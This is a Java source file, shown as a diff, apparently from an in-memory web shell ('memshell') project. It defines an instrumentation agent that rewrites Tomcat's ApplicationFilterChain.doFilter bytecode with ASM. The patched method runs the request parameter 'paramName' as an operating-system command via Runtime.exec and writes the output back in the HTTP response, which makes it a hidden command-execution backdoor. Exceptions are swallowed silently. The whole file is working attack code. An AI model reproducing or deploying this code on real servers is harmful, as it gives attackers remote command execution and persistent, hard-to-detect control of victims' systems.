1+ package com .reajason .javaweb .memshell .agent ;
2+
3+ import org .objectweb .asm .*;
4+
5+ import java .lang .instrument .ClassFileTransformer ;
6+ import java .lang .instrument .Instrumentation ;
7+ import java .lang .reflect .Method ;
8+ import java .security .ProtectionDomain ;
9+
10+ /**
11+ * @author ReaJason
12+ */
13+ public class CommandFilterChainTransformer implements ClassFileTransformer {
14+
15+ private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain" ;
16+
17+ public static ClassVisitor getClassVisitor (ClassVisitor cv ) {
18+ return new ClassVisitor (Opcodes .ASM9 , cv ) {
19+ @ Override
20+ public MethodVisitor visitMethod (int access , String name , String descriptor ,
21+ String signature , String [] exceptions ) {
22+ MethodVisitor mv = super .visitMethod (access , name , descriptor , signature , exceptions );
23+ if ("doFilter" .equals (name ) &&
24+ "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V" .equals (descriptor )) {
25+ return new DoFilterMethodVisitor (mv );
26+ }
27+ return mv ;
28+ }
29+ };
30+ }
31+
32+ private static class DoFilterMethodVisitor extends MethodVisitor {
33+
34+ public DoFilterMethodVisitor (MethodVisitor mv ) {
35+ super (Opcodes .ASM9 , mv );
36+ }
37+
38+ @ Override
39+ public void visitCode () {
40+ super .visitCode ();
41+
42+ // Define our parameter name
43+ mv .visitLdcInsn ("paramName" );
44+ mv .visitVarInsn (Opcodes .ASTORE , 3 ); // Store "paramName" in local var 3
45+
46+ // Define labels for try-catch
47+ Label tryStart = new Label ();
48+ Label tryEnd = new Label ();
49+ Label catchHandler = new Label ();
50+
51+ // Register the try-catch block - THIS IS THE KEY PART THAT WAS MISSING
52+ mv .visitTryCatchBlock (tryStart , tryEnd , catchHandler , "java/lang/Exception" );
53+
54+ // Start of try block
55+ mv .visitLabel (tryStart );
56+
57+ // Get the parameter from request: request.getParameter(paramName)
58+ mv .visitVarInsn (Opcodes .ALOAD , 1 ); // Load request (first param)
59+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/Object" , "getClass" ,
60+ "()Ljava/lang/Class;" , false );
61+ mv .visitLdcInsn ("getParameter" );
62+ mv .visitInsn (Opcodes .ICONST_1 );
63+ mv .visitTypeInsn (Opcodes .ANEWARRAY , "java/lang/Class" );
64+ mv .visitInsn (Opcodes .DUP );
65+ mv .visitInsn (Opcodes .ICONST_0 );
66+ mv .visitLdcInsn (Type .getType ("Ljava/lang/String;" ));
67+ mv .visitInsn (Opcodes .AASTORE );
68+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/Class" , "getMethod" ,
69+ "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;" , false );
70+
71+ // Invoke the getParameter method
72+ mv .visitVarInsn (Opcodes .ALOAD , 1 ); // Load request object
73+ mv .visitInsn (Opcodes .ICONST_1 );
74+ mv .visitTypeInsn (Opcodes .ANEWARRAY , "java/lang/Object" );
75+ mv .visitInsn (Opcodes .DUP );
76+ mv .visitInsn (Opcodes .ICONST_0 );
77+ mv .visitVarInsn (Opcodes .ALOAD , 3 ); // Load paramName
78+ mv .visitInsn (Opcodes .AASTORE );
79+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/reflect/Method" , "invoke" ,
80+ "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;" , false );
81+ mv .visitTypeInsn (Opcodes .CHECKCAST , "java/lang/String" );
82+ mv .visitVarInsn (Opcodes .ASTORE , 4 ); // Store cmd in local var 4
83+
84+ // Check if cmd is not null
85+ mv .visitVarInsn (Opcodes .ALOAD , 4 );
86+ Label ifNullLabel = new Label ();
87+ mv .visitJumpInsn (Opcodes .IFNULL , ifNullLabel );
88+
89+ // Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
90+ mv .visitMethodInsn (Opcodes .INVOKESTATIC , "java/lang/Runtime" , "getRuntime" ,
91+ "()Ljava/lang/Runtime;" , false );
92+ mv .visitVarInsn (Opcodes .ALOAD , 4 ); // Load cmd
93+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/Runtime" , "exec" ,
94+ "(Ljava/lang/String;)Ljava/lang/Process;" , false );
95+ mv .visitVarInsn (Opcodes .ASTORE , 5 ); // Store Process in local var 5
96+
97+ // Get input stream: InputStream inputStream = exec.getInputStream();
98+ mv .visitVarInsn (Opcodes .ALOAD , 5 ); // Load Process
99+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/Process" , "getInputStream" ,
100+ "()Ljava/io/InputStream;" , false );
101+ mv .visitVarInsn (Opcodes .ASTORE , 6 ); // Store InputStream in local var 6
102+
103+ // Get response output stream
104+ mv .visitVarInsn (Opcodes .ALOAD , 2 ); // Load response (second param)
105+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/Object" , "getClass" ,
106+ "()Ljava/lang/Class;" , false );
107+ mv .visitLdcInsn ("getOutputStream" );
108+ mv .visitInsn (Opcodes .ICONST_0 );
109+ mv .visitTypeInsn (Opcodes .ANEWARRAY , "java/lang/Class" );
110+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/Class" , "getMethod" ,
111+ "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;" , false );
112+ mv .visitVarInsn (Opcodes .ALOAD , 2 ); // Load response
113+ mv .visitInsn (Opcodes .ICONST_0 );
114+ mv .visitTypeInsn (Opcodes .ANEWARRAY , "java/lang/Object" );
115+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/reflect/Method" , "invoke" ,
116+ "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;" , false );
117+ mv .visitTypeInsn (Opcodes .CHECKCAST , "java/io/OutputStream" );
118+ mv .visitVarInsn (Opcodes .ASTORE , 7 ); // Store OutputStream in local var 7
119+
120+ // Create buffer: byte[] buf = new byte[8192];
121+ mv .visitIntInsn (Opcodes .SIPUSH , 8192 );
122+ mv .visitIntInsn (Opcodes .NEWARRAY , Opcodes .T_BYTE );
123+ mv .visitVarInsn (Opcodes .ASTORE , 8 ); // Store byte[] in local var 8
124+
125+ // While loop to read and write data
126+ Label loopStart = new Label ();
127+ Label loopEnd = new Label ();
128+
129+ // Start of loop
130+ mv .visitLabel (loopStart );
131+
132+ // Read data: inputStream.read(buf)
133+ mv .visitVarInsn (Opcodes .ALOAD , 6 ); // Load inputStream
134+ mv .visitVarInsn (Opcodes .ALOAD , 8 ); // Load buffer
135+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/io/InputStream" , "read" ,
136+ "([B)I" , false );
137+ mv .visitVarInsn (Opcodes .ISTORE , 9 ); // Store length in local var 9
138+
139+ // Check if length == -1
140+ mv .visitVarInsn (Opcodes .ILOAD , 9 );
141+ mv .visitInsn (Opcodes .ICONST_M1 );
142+ mv .visitJumpInsn (Opcodes .IF_ICMPEQ , loopEnd );
143+
144+ // Write data: outputStream.write(buf, 0, length)
145+ mv .visitVarInsn (Opcodes .ALOAD , 7 ); // Load outputStream
146+ mv .visitVarInsn (Opcodes .ALOAD , 8 ); // Load buffer
147+ mv .visitInsn (Opcodes .ICONST_0 );
148+ mv .visitVarInsn (Opcodes .ILOAD , 9 ); // Load length
149+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/io/OutputStream" , "write" ,
150+ "([BII)V" , false );
151+
152+ // Go back to start of loop
153+ mv .visitJumpInsn (Opcodes .GOTO , loopStart );
154+
155+ // End of loop
156+ mv .visitLabel (loopEnd );
157+
158+ // Return from the method without calling original doFilter
159+ mv .visitInsn (Opcodes .RETURN );
160+
161+ // If cmd is null, continue with original method
162+ mv .visitLabel (ifNullLabel );
163+
164+ // End of try block
165+ mv .visitLabel (tryEnd );
166+
167+ // Skip catch block if we didn't enter it
168+ Label afterCatch = new Label ();
169+ mv .visitJumpInsn (Opcodes .GOTO , afterCatch );
170+
171+ // Start of catch block
172+ mv .visitLabel (catchHandler );
173+ // The exception is now on the stack
174+ mv .visitVarInsn (Opcodes .ASTORE , 10 ); // Store exception in local var 10 and discard it
175+
176+ // End of catch block
177+ mv .visitLabel (afterCatch );
178+ }
179+ }
180+
181+ @ Override
182+ public byte [] transform (ClassLoader loader , String className , Class <?> classBeingRedefined ,
183+ ProtectionDomain protectionDomain , byte [] bytes ) {
184+ if (TARGET_CLASS .equals (className )) {
185+ try {
186+ ClassReader cr = new ClassReader (bytes );
187+ ClassWriter cw = new ClassWriter (cr , ClassWriter .COMPUTE_MAXS | ClassWriter .COMPUTE_FRAMES );
188+ Method getClassLoader = cw .getClass ().getDeclaredMethod ("getClassLoader" );
189+ getClassLoader .setAccessible (true );
190+ System .out .println (getClassLoader .invoke (cw ));
191+ ClassVisitor cv = CommandFilterChainTransformer .getClassVisitor (cw );
192+ cr .accept (cv , ClassReader .EXPAND_FRAMES );
193+ return cw .toByteArray ();
194+ } catch (Exception e ) {
195+ e .printStackTrace ();
196+ }
197+ }
198+ return bytes ;
199+ }
200+
201+ public static void premain (String args , Instrumentation inst ) {
202+ inst .addTransformer (new CommandFilterChainTransformer (), true );
203+ }
204+
205+ public static void agentmain (String args , Instrumentation inst ) {
206+ System .out .println (DoFilterMethodVisitor .class .getClassLoader ());
207+ inst .addTransformer (new CommandFilterChainTransformer (), true );
208+ }
209+ }
0 commit comments